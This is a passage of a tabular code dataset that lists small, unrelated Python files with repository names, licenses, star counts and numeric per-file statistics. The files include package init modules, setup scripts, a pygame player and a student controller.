return send_from_directory('assets', path) | 21.625 | 46 | 0.774566 | 25 | 173 | 5.16 | 0.6 | 0.124031 | 0.263566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115607 | 173 | 8 | 46 | 21.625 | 0.843137 | 0 | 0 | 0 | 0 | 0 | 0.114943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 5 |
20d92296108e9db30f74f0e0f19600bb63d01e67 | 167 | py | Python | actrie/__init__.py | ifplusor/actrie | 54e9aff441594fbcd30a936d4fbc300ad81007b9 | [
"BSD-3-Clause"
] | 8 | 2017-10-01T04:47:12.000Z | 2022-02-15T10:16:11.000Z | actrie/__init__.py | ifplusor/actrie | 54e9aff441594fbcd30a936d4fbc300ad81007b9 | [
"BSD-3-Clause"
] | null | null | null | actrie/__init__.py | ifplusor/actrie | 54e9aff441594fbcd30a936d4fbc300ad81007b9 | [
"BSD-3-Clause"
] | 4 | 2018-04-06T08:27:02.000Z | 2021-05-11T07:56:17.000Z | #!/usr/bin/env python
# encoding=utf-8
from .matcher import Matcher, Context, PrefixMatcher
__all__ = ["Matcher", "Context", "PrefixMatcher"]
__version__ = "3.2.4"
| 18.555556 | 52 | 0.712575 | 21 | 167 | 5.285714 | 0.809524 | 0.252252 | 0.486486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027397 | 0.125749 | 167 | 8 | 53 | 20.875 | 0.732877 | 0.209581 | 0 | 0 | 0 | 0 | 0.246154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
45a63c7612159a4094c59daa810577e2325ac3f8 | 211 | py | Python | bsm/operation/detect_package.py | bsmsoft/bsm | e45ec5442de39e5f948023cd5b4c6181073cf9a2 | [
"MIT"
] | 3 | 2019-06-12T17:19:12.000Z | 2022-01-07T02:10:06.000Z | bsm/operation/detect_package.py | bsmsoft/bsm | e45ec5442de39e5f948023cd5b4c6181073cf9a2 | [
"MIT"
] | null | null | null | bsm/operation/detect_package.py | bsmsoft/bsm | e45ec5442de39e5f948023cd5b4c6181073cf9a2 | [
"MIT"
] | null | null | null | from bsm.config.util import detect_package
from bsm.operation import Base
class DetectPackage(Base):
def execute(self, directory):
return detect_package(directory, self._config['package_runtime'])
| 26.375 | 73 | 0.772512 | 27 | 211 | 5.888889 | 0.62963 | 0.08805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14218 | 211 | 7 | 74 | 30.142857 | 0.878453 | 0 | 0 | 0 | 0 | 0 | 0.07109 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
45e4a6109e39a428a6af1efcb566a9d5c1a8da6a | 79 | py | Python | captain_hook/services/pagerduty/__init__.py | brantje/captain_hook | dde076a96afffa2235b7d8d01d47c4e61099c6b6 | [
"Apache-2.0"
] | 1 | 2017-01-07T16:22:05.000Z | 2017-01-07T16:22:05.000Z | captain_hook/services/pagerduty/__init__.py | brantje/captain_hook | dde076a96afffa2235b7d8d01d47c4e61099c6b6 | [
"Apache-2.0"
] | 3 | 2017-02-27T00:34:19.000Z | 2017-02-27T14:25:44.000Z | captain_hook/services/pagerduty/__init__.py | brantje/telegram-github-bot | dde076a96afffa2235b7d8d01d47c4e61099c6b6 | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import
from .pagerduty import PagerdutyService
| 26.333333 | 39 | 0.886076 | 9 | 79 | 7.222222 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101266 | 79 | 2 | 40 | 39.5 | 0.915493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
afd776a8463cc306e091d7f33a7a89ac16513f7f | 167 | py | Python | abstract-factory-pattern/motorcycle/MotorcycleImpl.py | lcarnevale/software-pattern-python | 1caabfda9ba69a7cc65fce461bba665c9bee18cc | [
"MIT"
] | null | null | null | abstract-factory-pattern/motorcycle/MotorcycleImpl.py | lcarnevale/software-pattern-python | 1caabfda9ba69a7cc65fce461bba665c9bee18cc | [
"MIT"
] | null | null | null | abstract-factory-pattern/motorcycle/MotorcycleImpl.py | lcarnevale/software-pattern-python | 1caabfda9ba69a7cc65fce461bba665c9bee18cc | [
"MIT"
] | null | null | null | from .Motorcycle import Motorcycle
class MotorcycleImpl(Motorcycle):
def useful_function_b(self) -> str:
return "The result of implementing Motorcycle."
| 23.857143 | 55 | 0.748503 | 19 | 167 | 6.473684 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179641 | 167 | 6 | 56 | 27.833333 | 0.89781 | 0 | 0 | 0 | 0 | 0 | 0.227545 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
afdd8edd04f13f158a372945a0bd593ff777e42d | 120 | py | Python | detector_mxnet/videoflow_contrib/detector_mxnet/__init__.py | videoflow/videoflow-contrib | 2985fbb32ca4b0dab9deeefc6b94dadf29f88d2f | [
"CNRI-Python"
] | 12 | 2019-05-29T12:51:24.000Z | 2021-03-12T08:09:16.000Z | detector_mxnet/videoflow_contrib/detector_mxnet/__init__.py | videoflow/videoflow-contrib | 2985fbb32ca4b0dab9deeefc6b94dadf29f88d2f | [
"CNRI-Python"
] | 3 | 2020-03-10T13:13:30.000Z | 2021-01-22T23:41:52.000Z | detector_mxnet/videoflow_contrib/detector_mxnet/__init__.py | videoflow/videoflow-contrib | 2985fbb32ca4b0dab9deeefc6b94dadf29f88d2f | [
"CNRI-Python"
] | 8 | 2019-05-29T10:07:38.000Z | 2021-02-08T08:19:59.000Z | from contextlib import suppress
with suppress(ImportError):
from .mxnet_object_detector import MxnetObjectDetector
| 24 | 58 | 0.841667 | 13 | 120 | 7.615385 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 120 | 4 | 59 | 30 | 0.942857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
aff8ee4d3f5aa0e2b765903bcc010707de252b00 | 64 | py | Python | Wasteland/__init__.py | Tonysun1/Explore-Z-Wasteland | 77be93f8b7838cd0b6b42e03607ba5662fc25b4c | [
"MIT"
] | 1 | 2018-10-24T03:48:12.000Z | 2018-10-24T03:48:12.000Z | Wasteland/__init__.py | Tonysun-rpi/Explore-Z-Wasteland | 77be93f8b7838cd0b6b42e03607ba5662fc25b4c | [
"MIT"
] | null | null | null | Wasteland/__init__.py | Tonysun-rpi/Explore-Z-Wasteland | 77be93f8b7838cd0b6b42e03607ba5662fc25b4c | [
"MIT"
] | 1 | 2018-10-22T19:14:38.000Z | 2018-10-22T19:14:38.000Z | import app.intro
if __name__ == '__main__':
app.intro.init()
| 10.666667 | 26 | 0.6875 | 9 | 64 | 4 | 0.777778 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 64 | 5 | 27 | 12.8 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
aff91631885686d3f40829c16f46ec6f0cee681c | 63 | py | Python | src/sage/modular/overconvergent/__init__.py | bopopescu/sage | 2d495be78e0bdc7a0a635454290b27bb4f5f70f0 | [
"BSL-1.0"
] | 3 | 2019-07-15T13:48:24.000Z | 2019-11-08T12:31:43.000Z | src/sage/modular/overconvergent/__init__.py | bopopescu/sage | 2d495be78e0bdc7a0a635454290b27bb4f5f70f0 | [
"BSL-1.0"
] | 2 | 2018-10-30T13:40:20.000Z | 2020-07-23T12:13:30.000Z | src/sage/modular/overconvergent/__init__.py | bopopescu/sage | 2d495be78e0bdc7a0a635454290b27bb4f5f70f0 | [
"BSL-1.0"
] | 7 | 2021-11-08T10:01:59.000Z | 2022-03-03T11:25:52.000Z | from __future__ import absolute_import
pass
from . import all
| 12.6 | 38 | 0.825397 | 9 | 63 | 5.222222 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15873 | 63 | 4 | 39 | 15.75 | 0.886792 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 5 |
affa2d91bee04b3928a945316b42dca5a424fff0 | 14 | py | Python | Test.py | OdinManiac/test_repo | 7964cdec93c43dea9bd62f810b22804679a59347 | [
"MIT"
] | null | null | null | Test.py | OdinManiac/test_repo | 7964cdec93c43dea9bd62f810b22804679a59347 | [
"MIT"
] | null | null | null | Test.py | OdinManiac/test_repo | 7964cdec93c43dea9bd62f810b22804679a59347 | [
"MIT"
] | null | null | null | print("ololo") | 14 | 14 | 0.714286 | 2 | 14 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 1 | 14 | 14 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
b33d3dea282a2faa9199466b95cd77e8672399f4 | 65 | py | Python | plugin/src/test/resources/refactoring/extractmethod/ClassContext.before.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | null | null | null | plugin/src/test/resources/refactoring/extractmethod/ClassContext.before.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | 11 | 2017-02-27T22:35:32.000Z | 2021-12-24T08:07:40.000Z | plugin/src/test/resources/refactoring/extractmethod/ClassContext.before.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | null | null | null | class PyCharm:
<selection>print("Hello Pycharm!")</selection> | 32.5 | 50 | 0.723077 | 7 | 65 | 6.714286 | 0.714286 | 0.680851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107692 | 65 | 2 | 50 | 32.5 | 0.810345 | 0 | 0 | 0 | 0 | 0 | 0.212121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
b3435a35b13609feee8ecbe4bf8e1ed6b9d092a0 | 57 | py | Python | python/nluflows/mapping/bp/__init__.py | jiportilla/ontology | 8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40 | [
"MIT"
] | null | null | null | python/nluflows/mapping/bp/__init__.py | jiportilla/ontology | 8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40 | [
"MIT"
] | null | null | null | python/nluflows/mapping/bp/__init__.py | jiportilla/ontology | 8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40 | [
"MIT"
] | null | null | null | from .service_catalog_mapper import ServiceCatalogMapper
| 28.5 | 56 | 0.912281 | 6 | 57 | 8.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070175 | 57 | 1 | 57 | 57 | 0.943396 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b36a7b23a68d0e64fd4259f5d1fad5165833f8b4 | 75 | py | Python | testserver/blueprints/__init__.py | IfengAutomation/AutomationTestServer | b16ad0fae9cd7198a93cf2f3cd68d46fdae2dbdd | [
"Apache-2.0"
] | null | null | null | testserver/blueprints/__init__.py | IfengAutomation/AutomationTestServer | b16ad0fae9cd7198a93cf2f3cd68d46fdae2dbdd | [
"Apache-2.0"
] | null | null | null | testserver/blueprints/__init__.py | IfengAutomation/AutomationTestServer | b16ad0fae9cd7198a93cf2f3cd68d46fdae2dbdd | [
"Apache-2.0"
] | null | null | null | from . import api, casemanager, users
__all__ = [api, casemanager, users]
| 18.75 | 37 | 0.733333 | 9 | 75 | 5.666667 | 0.666667 | 0.54902 | 0.745098 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 75 | 3 | 38 | 25 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b3762bebfce5398c7c14453a687017de3e1ac4ef | 105 | py | Python | network/setup.py | splitstrument/training | 03d1edd68f3079dc1fba890eebf16fa90eb900f0 | [
"MIT"
] | 4 | 2019-04-10T22:20:12.000Z | 2020-01-27T17:43:48.000Z | network/setup.py | splitstrument/training | 03d1edd68f3079dc1fba890eebf16fa90eb900f0 | [
"MIT"
] | 3 | 2019-03-09T12:03:58.000Z | 2020-01-27T17:42:21.000Z | setup.py | unmix-io/unmix-net | 873d99da42f80574543c096fcd5b7c8748d2cca0 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
setup(name='unmix', version='1.0', packages=find_packages()) | 35 | 60 | 0.780952 | 15 | 105 | 5.333333 | 0.733333 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020619 | 0.07619 | 105 | 3 | 60 | 35 | 0.804124 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
6405510d4092b77633f4b129b9d5cd17ba7987cc | 155 | py | Python | inherit.py | Prashant269/python | facf2683c20ace046e8c2adcd7fe96aad609331d | [
"bzip2-1.0.6"
] | null | null | null | inherit.py | Prashant269/python | facf2683c20ace046e8c2adcd7fe96aad609331d | [
"bzip2-1.0.6"
] | null | null | null | inherit.py | Prashant269/python | facf2683c20ace046e8c2adcd7fe96aad609331d | [
"bzip2-1.0.6"
] | null | null | null | class baseclass(object):
def printhim(self):
print "prasanth"
class inhertingclass(baseclass):
pass
x=inhertingclass()
x.printhim()
| 19.375 | 33 | 0.670968 | 16 | 155 | 6.5 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219355 | 155 | 7 | 34 | 22.142857 | 0.859504 | 0 | 0 | 0 | 0 | 0 | 0.054054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.142857 | 0 | null | null | 0.428571 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 5 |
64218223b4c9695e7fd5f28e2fc87c14a325bc1c | 131 | py | Python | ex0021.py | GantzLorran/Python | ce6073754318443345973471589cceb4a24ed832 | [
"Apache-2.0"
] | 1 | 2020-03-26T13:23:17.000Z | 2020-03-26T13:23:17.000Z | ex0021.py | GantzLorran/Python | ce6073754318443345973471589cceb4a24ed832 | [
"Apache-2.0"
] | null | null | null | ex0021.py | GantzLorran/Python | ce6073754318443345973471589cceb4a24ed832 | [
"Apache-2.0"
] | null | null | null | import pygame
pygame.mixer.init()
pygame.mixer.music.load('FH3.mp3')
pygame.mixer.music.play()
input()
pygame.event.wait() | 16.375 | 35 | 0.709924 | 19 | 131 | 4.894737 | 0.631579 | 0.354839 | 0.344086 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017241 | 0.114504 | 131 | 8 | 36 | 16.375 | 0.784483 | 0 | 0 | 0 | 0 | 0 | 0.056 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
642aacec452b59037a937eda1f2127d79511041c | 155 | py | Python | mala/datahandling/__init__.py | DanielKotik/mala | 1b89a78f5ddecb1df21d2753715001ffe4250fc1 | [
"BSD-3-Clause"
] | 11 | 2021-09-06T18:59:24.000Z | 2022-03-17T13:36:52.000Z | mala/datahandling/__init__.py | DanielKotik/mala | 1b89a78f5ddecb1df21d2753715001ffe4250fc1 | [
"BSD-3-Clause"
] | 92 | 2021-09-04T06:38:14.000Z | 2022-03-31T11:01:49.000Z | mala/datahandling/__init__.py | DanielKotik/mala | 1b89a78f5ddecb1df21d2753715001ffe4250fc1 | [
"BSD-3-Clause"
] | 10 | 2021-09-07T13:03:30.000Z | 2022-03-23T07:49:14.000Z | """All functions for handling data."""
from .data_handler import DataHandler
from .data_scaler import DataScaler
from .data_converter import DataConverter
| 31 | 41 | 0.825806 | 20 | 155 | 6.25 | 0.65 | 0.192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109677 | 155 | 4 | 42 | 38.75 | 0.905797 | 0.206452 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
643fbd62b729f9ed97b9f3dcaa07db758c9c6a4b | 26 | py | Python | gym-duckietown/learning/imitation/iil_dagger/algorithms/__init__.py | lyf44/CS4278-5478-Project-Materials | 685419c65847e72450e99586e9e0f3794369b4a3 | [
"MIT"
] | 4 | 2020-04-28T15:48:56.000Z | 2020-05-03T14:03:01.000Z | gym-duckietown/learning/imitation/iil_dagger/algorithms/__init__.py | lyf44/CS4278-5478-Project-Materials | 685419c65847e72450e99586e9e0f3794369b4a3 | [
"MIT"
] | null | null | null | gym-duckietown/learning/imitation/iil_dagger/algorithms/__init__.py | lyf44/CS4278-5478-Project-Materials | 685419c65847e72450e99586e9e0f3794369b4a3 | [
"MIT"
] | 21 | 2020-04-28T16:38:01.000Z | 2021-11-16T14:21:08.000Z | from .dagger import DAgger | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
644204cc31e2dc5d4ad3a36f14bb90a2a265fcb7 | 47 | py | Python | samples/models/pu_power/rx580_power_model/__init__.py | greenlsi/mercury_mso_framework | 8b9639e5cb4b2c526a65861c93a9fe9db2460ea4 | [
"Apache-2.0"
] | 1 | 2020-07-21T11:22:39.000Z | 2020-07-21T11:22:39.000Z | samples/models/pu_power/rx580_power_model/__init__.py | greenlsi/mercury_mso_framework | 8b9639e5cb4b2c526a65861c93a9fe9db2460ea4 | [
"Apache-2.0"
] | 2 | 2021-08-25T16:09:58.000Z | 2022-02-10T02:21:03.000Z | samples/models/pu_power/rx580_power_model/__init__.py | greenlsi/mercury_mso_framework | 8b9639e5cb4b2c526a65861c93a9fe9db2460ea4 | [
"Apache-2.0"
] | 1 | 2021-02-24T15:54:09.000Z | 2021-02-24T15:54:09.000Z | from .rx580_power_model import Rx580PowerModel
| 23.5 | 46 | 0.893617 | 6 | 47 | 6.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139535 | 0.085106 | 47 | 1 | 47 | 47 | 0.790698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
ff3656bae47791d58e9469e3a22b34b613a3a89a | 36 | py | Python | nltk_download.py | anasayubi/implement_timmonsr-kylee84_research_paper | 8157fce9bab02b62b5e17f14f0f58cb4107a7df5 | [
"MIT"
] | null | null | null | nltk_download.py | anasayubi/implement_timmonsr-kylee84_research_paper | 8157fce9bab02b62b5e17f14f0f58cb4107a7df5 | [
"MIT"
] | null | null | null | nltk_download.py | anasayubi/implement_timmonsr-kylee84_research_paper | 8157fce9bab02b62b5e17f14f0f58cb4107a7df5 | [
"MIT"
] | null | null | null | from nltk import download
download() | 18 | 25 | 0.833333 | 5 | 36 | 6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 2 | 26 | 18 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
ff6b07d43b01b18b4fbe8a6fadc9ed267f940821 | 694 | py | Python | controller.py | ionufi/first | e362cef643b3e576db5455379c0ca91b5189400b | [
"MIT"
] | null | null | null | controller.py | ionufi/first | e362cef643b3e576db5455379c0ca91b5189400b | [
"MIT"
] | null | null | null | controller.py | ionufi/first | e362cef643b3e576db5455379c0ca91b5189400b | [
"MIT"
] | null | null | null | from repository import StudentRepository
class StudentController(object):
def __init__(self):
self._student_controller = StudentRepository()
def add_student(self, student):
return self._student_controller.add_student(student)
def remove_student(self, sid):
return self.... | 30.173913 | 82 | 0.714697 | 80 | 694 | 5.85 | 0.2875 | 0.16453 | 0.269231 | 0.288462 | 0.245727 | 0.175214 | 0.175214 | 0 | 0 | 0 | 0 | 0 | 0.206052 | 694 | 22 | 83 | 31.545455 | 0.849365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0.071429 | 0.357143 | 0.928571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
ff91c18d842db0dd28939ed8e6e86b2ee6c7e025 | 150 | py | Python | udata_schema_gouvfr/__init__.py | AntoineAugusti/udata-schema | 42bd98e71955633d5bfa576a39d73f2b11a04326 | [
"MIT"
] | 2 | 2021-02-19T15:37:08.000Z | 2022-01-11T13:45:31.000Z | udata_schema_gouvfr/__init__.py | AntoineAugusti/udata-schema | 42bd98e71955633d5bfa576a39d73f2b11a04326 | [
"MIT"
] | 4 | 2020-07-23T14:05:12.000Z | 2021-05-10T11:38:56.000Z | udata_schema_gouvfr/__init__.py | AntoineAugusti/udata-schema | 42bd98e71955633d5bfa576a39d73f2b11a04326 | [
"MIT"
] | 1 | 2020-08-04T08:53:55.000Z | 2020-08-04T08:53:55.000Z | '''
udata-schema-gouvfr
Integration with schema.data.gouv.fr
'''
__version__ = '1.3.3.dev'
__description__ = 'Integration with schema.data.gouv.fr'
| 16.666667 | 56 | 0.74 | 21 | 150 | 4.904762 | 0.619048 | 0.291262 | 0.407767 | 0.485437 | 0.601942 | 0.601942 | 0 | 0 | 0 | 0 | 0 | 0.022388 | 0.106667 | 150 | 8 | 57 | 18.75 | 0.746269 | 0.38 | 0 | 0 | 0 | 0 | 0.529412 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
